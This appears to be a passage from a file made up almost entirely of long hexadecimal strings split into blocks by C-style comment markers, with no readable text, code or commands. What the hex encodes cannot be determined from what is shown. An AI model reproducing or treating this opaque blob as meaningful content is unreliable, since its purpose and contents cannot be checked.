d64578f08585f51889f24c6e6c9c0764faf405912c453602d2b0d4f18df4a74b244c7c26fac693409a0f5b96638ae6fa3518f8bcce9f8b83f9aba496a1bd647abd7a33c40653c2f13d1409e79d533a23ea55b350cb808219282b1a55b08e2621e8f3b5f4a6940af293dea87a1e409cb45d841f1410735aab546b399b6fb16cc5cf8e89a20f28504fea35e7b2d674795c335ef72ae7fc018c00b4f398c5ecd59a7419d0710d85122caa2891e4f342b5164ed5c37bc9d71f235ed2ee17082286c32e5a582f60e95ce9337236cac417d1469a397082e518c4d8a1a23749284639e0d37ea61055be6e4ed312b2f9907f819f302bd36fb6d84318d0be0a2d837ced0c3a64ce2dd5f4db52bea1630750936832563dfa34b813c9a9bfa5f138ae1b3b6c912039a661b52d88741205781a52d446619051511e516550129186f50eaaec1a8f7d4ad92e082b2434ef8dd1a8dcfd6ad0b159d8fbb8099a1b097c5298fd51031152279aaa54fdadf2ac75d9c19d41631be5a1da562eecf88b663793e06ae45c3e3c5bf75457aa2e22671f5116a263a58177d223f0c6a47774ae7f8c0433a3177e6325aee0dd38da14481aad7a64d9c8248f8af4be88e159a6e02e78e0f80cbc9f67ff50ead83113d998e51a3dec0cad269bd7d21bb0dcb8f3a10088fd0a5ac7945363f27e5b9ccb744e698ad96c4abe277007dd0d5e909e51bda17baa07c1f623e99f51d2fd49ab7b333f7cc9faabcc5b7acdd6551578efd056fbaf93e0004009a7a13dfda0c36e622c688114c3d35618e28b46ab875b220086435f4a23d9237a6fe1070758e49ccd8f547085565bb5d7e35af225ba08c0f68c6192b65c8c172485fc44716140adaea0fac3ceb21c2922df858064a85e7798bdf660c2d188f24a17f7f11a0e3848220b4096b68285c35de5b79418d76938fb40186510f4526f9a821de1f07f114664cd91246126488712ce662bb73381bdade9f29d7607a19b360ee8d606f78964768d611bb473155c3667fe598a131677bd9712e2c2f8afd045f9a2e123753fa183b7552dc0de99d06e0a80be7a04299be22606c22595c43e4b0303b1faa2f934c63600f2af3e9fecd40512f5226be09583f27c5dab1160ba23656fac8909e43d567eeb34a6f8d3b4a37c5149162961c789c41246dba4aeabda0da8af65107a0e5900222e9a9e51d8d038b3f060ae36511837e3dd860e8a6a0efbc26494779f2ad55767ec4187408b478bfc1c8c16df8249f7a14c8e0c13d02d40453ddc4f346763f87f29545b8fe80c1403564f15e9228ea18f6675b784b7b5e85ae96f3c7d03284c3f0f7781d0c12440210fd0a449475882308075d01ad36a47750f0589783d023902522d988643e5458468cd8c728d61f599d603ff290f06fea04cc50abfe93ba33200cef47b7834a8139f0a6e8d44e561bbc8553b3258a24f2a05207c6ab918e9c5c6b25a2dda7e3a6d0053b799a6089b17136d64ef92ef94f155f02d312f4868055bb2ac3a7c526b8203735f7c3cc5634053903bdb0b605661799657f872f48c8b134cfe08ce75b7f2b5c560e7cd75230821b68da34f1e0713ca41bb53c3f5a2e9bfa2d9398df420dd45bf699412e63924b6b0bfb5529f55901476fbec76b684946b28616b733a8d5ec16cce95742b2c85a4ed762a6988e44da6955d888d03f69220dc57f91279f8833999ccc4d8429e33b68de89f36caff15a96ba3f53049d5b3c3bbcea03c607f407c11ebde99a86b049cca832a8cc49ec66602735adb7b3974175befa38251ebcfd08d378643da8492ec00ba8970f6cc728c256576d4f1cd805afdb0013127f04c0db995c8bb8e00dc6c1c1c1693aa58963d93663ffda72acbd2c07961b235d59f87315fdc6aa9c8937762ee8e7bcf27714fd46ed03459766d97236879e91545d89eefd6dd290207ca10a95c793a9c2612f4677f8c1b3c7ca55c5201f0a5a5651713e3144e4152237fc90b69c292e26aed2843894f1a5037ef9dbd0fe8b89d817318a523175676652bc1d339d5fc7c7d7cb8f68d8f906a0786736aff574bc8ba5910d0fb7847f6737be10bfc243501af896573c038cce30e5071c24a36cf160dd4e8378a413bba076000df2232812ac277e918777e82500724d07dfadb5fa836ab8b40451973d5ffd7c7eaa9b285f8757c267f4d0df813ffbb486347a096abccde5566eeb245afa5326355ca6111f2b4e84ff2348f68d57b833c808a34294d604ac7222fc847c65f1b278*/
/*eda8c5653528e3d418fd50ea1b6132d6a72ed2ef4b71b347c23667d86b08ace46ef41299a2d5c47e2f385aa1d2b9362b8a10dd317b4eb65adfef00e8cc21e1d1fe8bc3e18340e13b9568c97125ec0e6befbb52c6927776fbebd9508b7f5c5023640f20e2252926a7c2cee22eac8afff122a209327764aa675584efd8da3bcea8a45ff571a92c2e0634cd1e964bf1ea67a3eb30d8803b0eea8b9c43681aea0dc3bdb643360ed9ef1546cc7678651333318147deb5e8367fb50a5642b8de2bfdbdfc965afd21e71d6f27cbcea4757171a62c9e4c2c5310afb00660e6efd86e0755fd636945e7ca87c998c66aab12fd09c82acb88509f4b9f003cd9d4ae14a39cb38667294473184220ebafbf3d6e1f163f37621ad32f927a6846042578e98484ce9bbe59ad51e416b7d8d04e9293e1d43d34977532282c48a745cb04ffcc84a4481a74909c40ee8dfb464acfb91741f7c42bb61daea03dc19aa2764fea413e9bc3475b64c85fecc609cf7a9f1335eb235d2c1aba5eebacc90010d42fa334801482ea569e44d800ad289480ccc94752a519fc5aeaa795e2f41ada462161451744ecd17ed4bba63c2f20a468021f1b8d6be6477a471641d46e15a9bdfea88f2a948e67283dfad64e0af968e5e982c2be5e32c9191f939dafd51b77d2c0057e9fa18634496974c925e719b80fc91f3489102e0d8803279ab74337168eaf7d1f19e69ce590cc73eb01fac93cc8bbee709f401de50e8aaab0f55e0d1b4c5014069e651383572fee67cfbaad479216933a8cd009ec9a594507577a70338d1824b26e9ec51a255b586cf82090a973a9e8e59403ca6c58a8bd886bd73332c84f056f5862f38bd129b5af415c9acf2f60eef1f325da18be5c5bc3c55264ad86c8869e5b49e5cb2a04660a066f7d7f44698a530841e8b4bbe9b38bbeb1714ca0416f0f0f88f790c9614acdb5e53ea28fed4c58ac5a77a4dd730d0453f0a1c241bb88999bf5d07923fe894f89b8e1bc41603fe925d66a92f3107a1a90fbc0dd15b467ecc9326bbf75aa0d87ee5a2fdad44d17ad1f70e4cee31ec7c3f919278a3c76c87778e78ca80c43a16931d326c60f5b4bda70cba9d02505c5c751f453932de0089fc74c2bc17c3ecaea1e462874bf49ecccc906686e95e45279329b5a53784592ea51bb460923a47a13158f30572af9a16222856def83f31e55d5dbbec33402694d4648b8fbdac30192564efd5e1951af801925be0d04125146f41d293c581683f7e349b79cb8a6b7874765505f81788aa66448de024dcc0f203376557dbb4b1b36bc93aeae2cd6312994e6884dde56ba6484b6719db7bf73973d09ef7bdfd14519fc307ca79ab20edb139bbcffa6f6d9fdd7d2007b0465ffdd4a519f4af3b68b5c5ad3d09ec4ecdbef0054dc0f8b3c1bac1a25c8270fe3703bb69c482a31010da1cc951f8faabb6ce01667f465303dc92c3ccef8c187abcade3bb1396bb7eba94dc7820ccad749796a494a679f1127010662355a198969e4846278d6a3845a74fde98563e222ff05bec9c14ead1e1cf37b7e7c3faabb0af436c62f9477f5b587030a5ecc145d25d95f76d095f7fc9212b76eed25334c7829123c92da120262adf176c61497a41b565573393595894535cf9b0c4f07d884181d57a8d5eab8165770ec418765dd6458647a32c648c1555df00fed0b593bb9112c141940ae350d0bca577601fe1f3e8b0f5fb2ed4ca1a00ff83f1f26f72b1ad947e94922a97e1482a62fa9d5e6e7bd701ff567fc46bf9e0e1dffac93b7cebbb09f960dec5c7af76423ca5d894822c769e998b6e0274324eaf15c3e3fa6fd4a62afe4483ca6f3400cc7293143adc96244403c73883de2d5f8c1d7759b43bc8e387bdc6f1b9b478520601b87cae7da178abca482586c4b3c01d1c1c96629557e311a857da0066df8cc935201ad2526c5fcb0c4adc03dd9ac2454bb2df0caad25ea2c8e425dd979f1d744f8793547f869086de8e0b5405412f2789d29af6b8893d39a78cc3edfb595e8c3f5f8910d0b4b191db7c18325e7b0e3ac9066aa0aeb657f666af4b8d81228ee9a6728e8c4b48f167f4e46a526ac5b74f9972d2463d75cc6840d538f55ecfb04ca5b36d9fc18a8b4662d434a9b76885a4dba5512d9f74942599e43afe7aa7cb2212b7e2c7bccc94327ea04221a361ab7507c085c3a87315b1ac449b014c24fc32a78e13300adb37304ec1ce3832fd369a55e905095a6f058d9bb8850709f0ef5275d148268f6adca940853b876f04eb32017d8557bc9275124f25ba230e2c3e72fa3d462e0a3ded2d5bd879bbe095215750e1cf018b5b07387d85fc5d260518bc23466a24e9a5774b0b6a74d9837ad5b3b329c8a2e236ad0022a71804f090294c264901c1dbc7530bdf01f8ca884ea6a8e2b19b1d219e67517f44535772eaa7bf48bfae9fa6cf217c028aa412016054b1002b361c15ecd75c2bd7d723865080dd1c553c8c28350315e336cb93312b77675178c96594565f81f6d4005f38c15a4ae780fdde15b18a971918c176d0b0929ef88296b1361d364a78cf639be144ec4647482ee98326f07ac472d73edd49c1a6171129282b7f25f04f8d2a8a5595903448b14ced2e1ce57b7904f8df44ea3d63a61bc4b603ffb002cafb6ef46cd7411d25579d851e6cfd693e60a4c58287e584e903ec5d146322ab83e6fdd1da3c93a9552aa3e0621e67d156638e858e0820a4f36b0646cb764934d328b1017242e6c694913228471d0870eb9a41e3bc5738aa17c862a73e9db34f440dca1ddf65379c906dc3f19cfacb384d259c4c5eb64389fd8206a*/
/*cc49fcd0559c7138d4ae24e22797b19c1a91e68412fc4187bfaa7e5a2f340412a4accc5f5797ad295d84c561a294d3485893efafdb8350ca7f3eb27f24170254ad84c214c6a526961466df2aa48dd0bf1fbdcc35caed283b4c5a17286150e4fad0e4cefc7fba1290f703d389fd1b1df9e53cea42eb7ef8729d7cf2dd623f005e5618322ad9dbe7858e6ae473fab3c4601cfd8e9a2f81af9acd1cc8a4ab627456d16eb76b4352d497469886a29978ac4a38039dac38105c83acfb943bb31579f2f60ed90bbbe79c0009a999a3e6e4071a969d095f8937a838cd706ccbdd81a54574fc1eed3cf56f66387eea7c33aa63f94f1c939fdfe46791d1115495e2670bbc0c3245fdb88023fab9b7e887338e58e98dc40fbaaec1ae61223f796f49915b91cebee577f22786f65f4962df5e82de7c82aff864ec7b1b88872cea0402ae72f0cf4278a2c6f9586e81aceb97931926a2698b308869502b9c0c59f16b220a99b3f0be28195fb5a49ef427a3976baf965019ae5295dc03dc705f3d9734aceb7ed7158a1c7ea66f5cd907c4f3d12625badda0bf53ed4183ca53f5e85dfec6ae6ebc55bcba2ac519da27f9aa2e1c515ca2785b137914a9e5b421f3069ef0a4b1dfaa7c099483baad18c7600ef225852e9940b8b82d24325b55c5bccaf37ddfcaeec1868b973b28dfe447ed1380a4527d594dfff39cf06b3ee0f59eeded760ed06633d025d5f04a3306d9f014e628735fc305f871cef07e9928b9eefcfd53ecb681b1ded3f36b5e2c92ffe74166c91462bde5265c996e5b934a87c729c41b70512775962d54d6b7532e9ccb6d6a471b12d394de2325e265e0f70dc6112b04b4935edac5f6781cce597d91517e3d014cf1c452d4f5551d6676baeae8a4f0654e98ccfd00f13c2724d03dd193ca33f2a2b03670b0ba52fe33a6f562cad0fed42cd78b74696c8474b9123b0dec28621dd654da8c4d474aaa52dd59d296c5b10b4754b5487a9c9ead372f7f6765c72a6822c3cfbe767061b33e35f342c96075c22a1afff06fbd206cea8190c4cc6e3484d3c56a85808296b00334c772467cae355aae3a5d75ac2d49f4d7961258f222c796a996e9eb6404dbf449c58ea9a94ce54be510b933357768d1880d2c92186eb96050677628645699368d379b563ab90c0f0c8c78f4b4a37c6dfa7e7e12a6defef0fc1c4d426ce6e3e18794fd8233cffbadf175696f1d7be0ff1485595fbb8026c763689b59da23a69c49e5e7ad74bee46d45aa37700be69f3b05282af6945a87a27e203c9cd9dca88201a9165e580d4227b8e813a712c07f5dbd59e7c7c5a21c1e965852bca6752f0aa303d54bc60659a75777652586c45bdac715b9b26f58535aae55885c9095f7efc03127e1ce1b300d1df223e492634b60651c28738d4754943e23a974121bdb3eb8d598d9b013cfaade9e3da746125e4224ef11c7539c7ab6ad1b626c73f00777503ab8610d2499c081131ea849837086f67a1833a989ffe9a9a8b9d789881caf31adbfad43c69ce9724f82404cb66c13e65f81b15a8abbb4fe1ac049bb5d4937c9a3e0fb5420dbb7c44702d9665605f70e1673d04528e13d0154973df3076e14709f08d4282c03700ad434b8d58e5198f65d4f557ef5ea9684d8801cf3413d00f652df7af0e620719eb29416b145d25f8ba08a1790c109b72ae85f4c06823c986c83dc39ba116290f479b0af45a86d105d568e07cb9dbb495ab7bada44612d859b2b6bc052e9ad0f54b9c5b8811db502b8f98d50d0d3a9400b4d9c8b65176eb8bff12b2051c0126bb625256a2a84d2eb418ffc4ac339d3718d0a143d0a6ba4d47f0e2454165aa5e896045493269382967b703aeaacc81df0e94f0694599c2091bb75f7bdcefd834275250c18f6238125acb9dd91645f4918ea1b36963542909f8c6ce9b9e4b983ccd805d74627d75b16fd3289e39b36d947203fe6fb73d5e7995b9dc0d0efe3644344ffc8e56d94a3486b0ad7ad775043358fde69eb4eb184f78af516edb0702683a5a7da1933035c6d96563e28ebcb01810bd6b12e15fdbfd4c42d085d398aa95753dd57a1f356bb780edfdcc98ded193602bfea442e0ae9eac882cf24b0ad812e04fcf42910bf8e4678817d714cd67b03564e6e1807aa8672c9b92da393af8cfbd688f8da48dc30688f905edbb38e871ecf0c7f36619938fa5b7b6b999a367afb1549f47cea9e20360c94525a96b9e9fe8f947e299dab0a77e8d6ba62be775ac7d772cad153762af70df3fefb1090ab7d9a64b9c865df97ed884e0a56e65f2f5e0f30d6e82031bb94540494484f5e65cb2f3d968aa0240374fde922786281612877f8fbd727344987bb61f1fd235c5cdb3c4869c467b665e46db2c0997857379ac3b2d4a91c5db1f793dab504c00b712c8168e935c9482ce56ddc6f734a0b03292ce3cf4136f74441eeda2d3cc38fef1f92f68977d455e35bca8e15759e59d4191ebbb95f298bdea02c3def2cb4e9b76ad5864c78a47cd61ef8e139786ec1393f8b1b99f63ce96c6ceaa3f0f8611340d28dd78060d1c10e7a1fe1dd321e7de4ee6c51d2ca3371c68d0356014b88e487ea94cead9b5821ce888c6b75340a89912bd101728cd79dc5ead62639000e109a59498b0441a69923882d9f7ea93d7a318fa2162a1b03b939f248302912ffc61f60fd6e1561271dd432b724333eea59d87661ad3cd207111dd47daf718a6d41fc2e8001a026a542e1cbd73e5be8fd1945324b9967f16b0b631a186afadbe4adf76c7d2d6d8d581716c41555e7f6a21e90f8b56ec6a25989948ee6709d082241b54ce00990*/
/*4819da78770bae5c7bf55c00a49d7e14395c66287ba86f6dc230f88156ecdd4d0d9f00d7f92880aba175fd4ac5b640bb6ade5d3569705add48fe2681e7fff45aeeed0eb50078c334b3d7e92a9088fc16577bd2e2186722af9a1dc6137de942326f0bda1b60aca071c3831ddcf5209717c3fc1bd09ae6a525c9d2f0f564e6284349f6bdef2134173f49e0d114e935d8d32042f7847539c539e5c8bd31ce8e7303f10d22bed7bd7ae0002368859dd4e58465427a9dca2c87f46fd9d95084b9f63e700b014ccd0f37b8b607ff2db992fb744aedf2c6961cf2d903e60246183af05047e43087dc7f8d5bc6529658fb5cea8e25cb29925e580bbc01226779e56261b806ae536c6dd36cb1f5163bf8c194a9b38d3388afbf934f51f7f5d958357130758490664eeb86379ab7a979d1ac42bdf8f2ac878a9188a5ec478a6bb2637b41b0dd7d238025c844532a05d09a1693aa83f357e85e93cd6464be30bc547fc47ff34ffb38c70deb8049d64b98acf381d71754eb957559da2bd2be3d2a4fafb60c797855c8d2e396e44597864024926049a6507cadbdd1064a426655409674cc1e8987ea19a8badbda38cef060979721ecced689cfb6bc4baaf27e087756a2a030aa78c0dc2a2413ea6615514e77bdd0007a35f328e591aeb478a85b7f6ff93ce81504071c1af65696de0a79b546257bb37ee13fd3624ad69a4864f3d03ea7e11903bd78d581d454710a31ebb83a0978cc01066f2e51b19d91f5b8e3d46f8bb852890a6efae15f0745e166c4888f1a3c6483ccc40a7b16cba0bb7fad38a1529e4e40cb401791868dbc32d890dc4743eb8521efa049d0f25f37b4a0b9effd863e4e29954dfd79148c28ddf29576a3bdb2bfdd239f47aecdd933e7fabda36ee71beabb28352dfbd0cd404048bd1554c0e71f211feec3f212ea66892a5521698332adb66507026a674a1f94dc0abb1d70e4d87a32542cdb67fb047168be8d85c8640fa96cb23eeec47e76404ab0edcabf61994bc53d1061b11ab08d1326fe1aa01b8957efc632a23df838b8b73cd59cb5065428b954e56212399c7b186b9b0f69c316c0b39a45ace55fcbaeeffa4a65817e43359701fae0d76c291bebc6d0b8bd6dc6653d1e384138ca2f4a7bea4464854fe9b50fe24368a9a6235a05441ab061342f347a5f07e1a4aef2c00c8f3e75a8fda05ff2327835678ada37d4744183f6449060dcc4f7f2b441580e503407a0d6dc86a31d439a20d086a148dc154207a82ef15c3aea204d9dc70eb45c7b779cc6358b60cc77a5e1fe5dc94913561946d67a30f0bef938ea17b271b1b420889a4f609d4d7f7bd76ded931f7360c1a42cd97793c93e7adbaaf4f43ed6c84daad97c7e064ea56625ddde55f37a93c1621814a15d7ee630a0852c0c658c162f5554863ef516b921a9c288a271f37a2bb13a07a45a1aa173a0b347feabac293ceae21e2e9e1859ae86c92fb4c22e79dc068f3aca53f57eda86a4adbd41200b80c259a347ee9790917cc7b98573973cbc3dfaba7c4e122d72269afb1121363a7cdcec60beb33f4532325855997619b1add655708fbf42f718170d2c825612ec18ca023cf8957ba278fbf05841aa65d75cba0c42ae401b114959b2d8506a21fa687a68ecf0cf2eaa3d5965584c3ad3b754b0dee21addb701888504770a55851073a5e11241798e0b833bb78163e3dcde560c64c1587c0f967f5b042b2126bb8dfdfe29fac58450786fd2e9b40a5731ad8da309b811dc32ee8f42a0d4abc0a3e2a62fa3bd6a449ea0536a5dd1dc8e36ea20e8556bdd710b685f97591288af8e62ec6fed3ce268e6f480021fb079b4cd458afac70e1a5f501a145314ca503022eca08965b5eb455b11c3f8daeda460e5befc7d2029e4ff7f4080f1a702eca733f4775858150362a1d99008b652428b218ce646e0f83d3309c76c8b0861398c908703771a7b13370d5c67a65cfaf1921c3c7ace4dc84ca1454674615fdb5d85620bd30870d9b85b2f79b717ec469c6e5858051fdf1629274458e84512162f0747cad00dcf5087a8e4564b219a6e62c5b97dc26ae7f0bcafaae4f16111f3bbc659d611967c90473df61c4f8ab234363252ec70fd7ffb83fc71ef0cd28b7ae58b255092be3ae709c3bffabe05e20fd6bcf81992fd8ea2824ee61e8afc22cab87feb80c457fcdab1dc71e80caad8f23d68e41050ab966e8f4394be798cdbcf5516e399fbcb1718b21c5a3e03ebf748311fa4773e34750578bd56055ddae3961596de0a9b95d31fac453a8706b02a214aa2dff4cb9afaaa06048306e89ef6ab30a524bc1ec08ef31454b66e2bf6e4123b9bd858663b2b367d7db75d8ff8796e8dda66a1d5702ef4eefb774496ab41180603f5f80512f06485c79908e6306df2903d1b3a8f3aa1fb70d1650567bc1cbea16fbe5f6e9205d2b130fc34a8041c3c36c1380a1e1b89e65ffe50044291707f8f8ba57ab7c37a204fa88bc6dcf35ff821cc7e9d3c8a6a6eda69eb1c5a65f0db77821875f13640828ccb074bc3c0b5cd9095649b7a92d4867720f79f6dbe574c4dd3449309d1e502581b1d4a6fc9a9031df67ba4aad1bacc977d5a11ca4c915f3c43435375df00135a75470774a434f83d6e4c214c2cde104c52efeef2a58724dbd580c6ede7149ef134d11e827a9be29064981263a33c28e6ce00ca96af835f67bdb729d19479039719888fd8378ff4aacf72aeff74e061f798828c49dd243722e65aba0a82c688eb32e242fd866db2583800f183bcfde9f3644e68811727564719363190aeef21f881da2654f1d1859c9a6735bf515c1226b44c*/
/*53a4a109dc1e19993c9ad4a23f82b3d1efc853ea8b8424ea14fc3ac771bddc1de781f63eda5f0f73d68f71cf82040d6ddbed91658b96056d1aacd0c9699a3431fa45bccb03f71a989f74a9c751504bc0f0214ab697dcca607a7b5fe5d193a3a30d7420db859ab11c411141043bf0d5ddb81161abc6253d699c405fff1da9b648ddca4f9c09004df39298f961c8d6106db44e85d3f0b0114ba3444ecbdc33290cd3e3ada1b35385e0f896f75ad055c6cfda81ccb806af8a9093190f3ed92211d9d8a708fb33546f3dda5df852b958e475afa46a5008534c06292ef6582103f9cd5597a1fede9719bdb3bbb51fc38cd003b5444f43e00cf46bbe25732da47196e9d09784f07e7d67064da7c9a6c14137e67855c42c5d440c31f4962f793881da57d45b1aebe291677c6cb68f220cec147ac178309fc00a7b31310cd88e4c8595fc0c2e19ff840e4c40b3d8fdb76923482cf8ef25f919a73af847cce933c1e0215280021a143fc8bae8c18e505b0e39da771ebe0928fc5904d0f928b763dafda83fed0ed6fd3c878bb6ff5a09387263fb40aefb0f757d701a1aac2830fb7c4fcc6ef87cd3c57d1908fa3d7425cd925b4cb8eebd773639d292bd5085b0df7023a20fbcf31dc4b17ff3a29134e838e6e4ffd70ac1ad493eeabc577ef6a47f9eb97502e8d8eed28f2d60d4867cba493f0ceaafcfd5052515e37d32b4d647f1bd0c1cd0a5ea27be8431b60b79ca4c23eb83cc61823b183132b8a1c6a8c27685c0d25f950bb3659b75991bfd8db69cfba66c224a81ec199c427c588d75a38712523b7587c394f5b52e711aefef39b8a44ef28b43bd2c4b24de4431a6815833f24e1a52a10f7713fb989bf4106523bc7d1fd2deac07409c83ba1e7c25dc91be1ea26e7609d50f68c8ef3f6b32e8779a9145af4559fbeb8390e8dea2701b9ba1730834d8c59a84fcfc821e5218de27014c059a664b8787710edd3c8a5403b10df793f90bb8a4ed86850e2d2a74818fb766f7f607155f7d11a4eb913148870b9b8efce16fe67a89eb7c91e10a411bc80a1ec438b14187a3578de79163e365cb1a71bad248e77bc638359c050e23fb0b294110fed2f343c3b6f27ad64629c9ebde922f668ce852ec3e46363717b1853fc30c7bda872a2a197dc75b5f9c589ee38d333cd1ada51cb8dda7c86bd242c8e6bdb9b27815fbb61ff5340035e0bc9c32273224713b4af697cb4ee4e846fd4de075134da3ac8ffd2e6cac3b0eea6422aa1056c40661d9488e52407cbed6b0812ecacbaeb8cb0a9c417433a64c7b504fbfb66cc8e8b7b1c623e559e8d5bd41b6f288d034b908d1091505d349697fe57d844abbd5c3a57ee9d0d5952c8e15f621631c9779d994cb9f1857ce1f96fcc48c15ba7daf604533317bfe4ef08d684c947740cbedc69ed788b1884659d6b7a2918e69aa71cbbec00fd6f014b3c9ddd12205ef44a503cdc73d7aaa901c5b02812287bc65c75be27e77d775fa43130d93928424d9e38d6660ffe62dd8771fe049997c52d33a37c5f83621aa3835f219f3dfa7eebf74494b36bdaab083d7d2841500ef6de301a37891594cb4c4025e23e462e7ce8065f2cae78c66e3d11ec76627d3de17a6a908824f254d9c88efd13819fb3b8bc966a27f644e1106aaaf387dca8256c74ea822fa0ec3755294c4c9396fe97e2b7f7d6b988af613137417b409451c470a8efb47152c0b31577eaced40107d22a1166af1b38cee097fee6d78b70439a39a48cf28d872ca768a1b773eddc9fed3e692bc95767c08e90d1d9fc791b112c43ac3fa27da2141fc8b60772495f577471c50ce48dfe380ad71577e564f20bd7752a89ff9171a5ac00e4174cad047b1ccd4fd6f8fe11f15e430f4fe091f7e3c038e53d20c7d2ad7e9bf7e0bc4d5d4430a3034f7a8c3d1edd8721b767caff88e87e4c5fb6f3949136394b5e352b469ab1f3210a8f7b350c788d55ef73a7aff948e47bde0df5d677ab02e70fdc95bbaab6401e06d62a08d1d5f372a4788b0b68b4fd59005dd24ef86146f58707b7853437c8a43aa9ad18d4d53ede9f5b8c58a88edd8e92eda1c4e6943c776b2b8d3c80545e6446450d6903634fb9c5f3b7cdb9398d8bd7aafd86eda82d63fc77ffb57ea2af0696525d4dc8db4edf0426719092a84d16ab0498b1cd4f8cfe8676c57371db2901ed23e063cb1ea6cf821cd60f39345b4cc406ee548d2d683d640f7fb8647ea15e528ecdea2c6dc2e3f479e1d147296e773fe4fca0b391ffcd94e672df98a4bb4528bd4c9ddc3720e4f272db807ec4fdb795abf86508f3a9eeb8dd4cb7c1332f34d9bd2fd29c8f2589ce9123eb685103a19c924e2f4d10de1749e375962af5d62f0cfe116563286fd4e4e3158b9f325a61d62be2fecce2794824e74cb8281a47ad9d80240ceaaee97200d9f045ae2be53e1600467af55f2ce709df31f717261b84b2cb442b74dfbb5c27ec2f5356d384acd14c565d56395747aee9800f9cd7cc46f05f6177573f078939e08d13ed06bd1398c228235e5676de622c0982693166d9beab36b4ed9cc78e73e7b61aec11c9a066e68dd1f1d8fad898dac9ed3705661b167381c3b7bd5bc27c89b6657b5cd8d83b69ab8c67f23aefcfcbdeb0f9359c4c7414184d4b4d3d0f19b43f70fa01d0be786d053db76a4f57f94ba65d0d5905390726f5e7c3431e19a8a149b551a3cc46d4c523f49083579e53daae81e4deda4e7143e9c63c48a35432b82bb0e3301c4b768ee4fe0e645892fa19ad4141f577bdb1563990a7211eb51bb014ba623cda7922e18905fbb69cd4e404cb74f4820117e4e267ad8*/
/*52923f5ccfb015b8264dd6f3e6649c3d3e15237d22cb1b4f13af7732abca471b2b85092de534bffc87eb607f685b2313c0c8fbfbbfcf1ef4e7f73286e40801774a19cb4839137f86165af8c4e59025f45e9fbedd682db25892cf4005e54c02db53c07436d1ddf04889391e2edf45f9b1ccb90b0031ad7e5cf66bc988d61fa9bdf61a9927acb27005b93516f8c2155706fa795d55560759658418143c2154d715399a892a8ba968c4e8ae327deb73ba3bf381c5d308b5d5309c5f6ea91cbd339a5ffb06580e8b9ba888dc6b337a565d5bcc253c272ea81b5a94db865b0f55026f06764d0ab2f99ceb8f61d6a28cfe4a21b6b10d973f8d2ccd8f6689989bc1ec452d467264577a68a38d5896fdc8e0bc290e66d4203a35cfb680f9ce9d27799966e49f339707730ff6ae2b9d3970d8f36cdd4f2a37e1caa868a2117e0263e4ae4d74ab676955c4ca2f8db95187e64d1d7499d59479de7e77bad0d3e464dd7990dddc6fc432906b6a7d2597581537fc62dddd18ec8e6e5e0963b28b5466e7244a495f75f35cecb31b91a80e0cb46f4b997b8584f362385454d8b19a4a325ec1d15cfa13905158e8025c46a5a4a698edcb883abeb8d21ee5526135a792737886a5326e5b3f0562acef99411cde0f2e837451043afb473b454bf23b8a17f0c55877b8e062be979c610c56e2932240acf3d547fcca171bdeef8aea039fdf707c71ee10ffd3e1a57a8af1fdef8875cc68847a650a861747b357e5fcd7165944332fdad2e43a1e1a526bd24be75ad2607f8f12607e71113a06102dadbf05f7e06488364f1c5a30237374cd27d3fc9303adc8f4df2d87d159c0ed960bf718134ba44f7c8e77ade7bae81fd0c3788595ecde237595a5cc10c6388e9b3eec342bcd9a3d05266191596bab5ccbc32d660ba78631a4826b5617996485dcca6e17ae24cabdd1393d7d70d469e7e1db1d37caada6f95d5e6f2f208934a2b269879eae622fbc4ff03dcb2d7476c35e6dcd2060e46b6ef14976e3f4e1222228038a2fb1dd08ffc60fa6e683aac07dfe4a12b61d0270509ee9a5d77f4b7dc82518ae0785bbd7665478dccb7fab732ed58bd922c1e5939e913eee89151992cc8de68597f89263acc0880684663ff8edffeab28875dd8fed6f9acf7da8b1e750aa9cc68a69b6973078eadefd193b1e9e0af4a9790f9592f2d06d8b0ce9d7897d5ed37f6b287c77e0ecf5c2df6e3566c93626e88ed90024e5535cf7beb0fec78b902b6abc904d10d99f1f94c557f7c47c3669a086165b700965e1dfb08e6193e9813359cb3c2ab8205e36b2a035e01fbf65b0f305231bdb2880ade524eba48387eabeb34eefcb96836e79bd57db5edff524650afe770a9bb54ddcbf81a41db4f8313c8ae4639ad1c0ca69af07d7a2d41ea4e9a4f528ca94c5f25781eef17acd9b3c92412d9b1835fb31f2284a5cb30aa80809dd1ed13a2fe9ad1ebdce90d173e13c6b736e7c9e084c16e9092929852ad517bd4b35355729bf81139fe22f569ea5d16ebcdc2463f71112c66fef180913ba169150d0612f09d38f03d82390f0f82f747d53331930794ed5ef519f30ce72bb6add1c6639ff6f2891914d1287f5839556b16312f803a77f0d1ce7601b416fbb6b228cf1bb9233999fd6a37f39f67e2ea59de02bd2f3fe06dd0d32c477dfd1689d6fe76d91de9d8f86ca075b180af0a5f12a9c0f3fe624919646d1b85f80f5387dba74e2efc0a8e43e00d77bbaace6a81d69f8578949fc13b18734a20c2168fedae7d17e4dd394e1bebaa8e98dbc5a6fdca6bcd540f78d8e2b24e2655af941c19563138f860714cff8c622dbedd0b4d311805f40de3d18f7b7b3fb51a10bd91b1cc5fd36b3db5825beb10280b1a7d22c654ae751de1bf36764dbe8a783b909c3cedb0ddad432ab3b6c1d16face60282e6285b3ddcb315ec7542e5c1cec97102be0237b7108f67c2405942513caf3d90ab3c4a94090e0b7a3311bf9c1829d09fbc276fc1aafee7a12ef64d7a6c32e5397475db3a81ca31004e40a1e542f2f653a089e94bdca7daed332380d3c46bba72bf1937141360c930e1540356d85c124b5a72885b0c522747ddaa667e799f22e55a9eab8c1e9a7078d5b31cc750fd737fd22aca7e7f265ca1870cc1cec4d3f8058b3676fed0a5cab4536d4b5c0221dd208235383501c77c6a1996aec94edfbde05a97113e3b3cfe7ecb24c56185319e7238937d0b6f46d8d2ef1842ac8e346b4276824c84360a85134e1e7a91f3e1d78250f095d9ce92a87ca7379b7212d0c0bd06af51430e0b5fa4141e3600a5ec25f891ff5dd9ead908b91864158de9334bc3d354a90e6118dfcb24a0d71452cb80ed7208ab3a5d25b2e7e123e23442c1f46a3d7b74ae5298108aa71f971d9a203847f7e9b583240de5d3342c8cf62b03a63ed26f3530479bceac5fe1b412fe51bf6c9da2c09571d2c0f747a467fad20af78b4b53130ad805385fbc8305aaa9140526f32a8888888f726954987e258edf4235036f7f53557ace6507c0b9091b2cd2b0f7a62193e5c0aef6b65ff4b56a756aaac2f17880ba1c0cabfca7683361dcf24778c028e6811cbb96fa22877582c6b5607b1489c67f64b50f3b18aeab56f312a9a24110553381867889e16fcaafd38a09949862c1214886d26c589cc56a6d87fe9acb503b6a721c7352cb7460b0371fafabd9727827a0ccf1d361a71930741fa2f1a10337fe367db99014b401ce867d447ca3bd55cb77d45d290